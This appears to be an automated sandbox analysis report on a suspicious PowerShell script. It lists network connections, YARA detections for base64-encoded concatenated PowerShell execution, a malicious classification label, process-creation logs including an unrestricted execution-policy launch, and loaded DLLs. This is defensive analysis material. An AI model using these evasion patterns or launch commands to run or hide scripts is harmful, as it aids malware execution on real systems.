Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:50238 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7488.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7488, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B80211D	0_2_00007FFD9B80211D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B7F8332	2_2_00007FFD9B7F8332
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B7F90C2	2_2_00007FFD9B7F90C2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B7F10B8	2_2_00007FFD9B7F10B8

Source: amsi64_7488.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7488, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal68.evad.winPS1@29/512@262/75

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tehugaot.1no.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: KpCJCaQswCshdLQFFKLtCbGdhL.ps1

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\KpCJCaQswCshdLQFFKLtCbGdhL.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.concur.com/
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4976 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.concur.com/	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4976 --field-trial-handle=2028,i,5747525152583014474,9378856125692830387,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
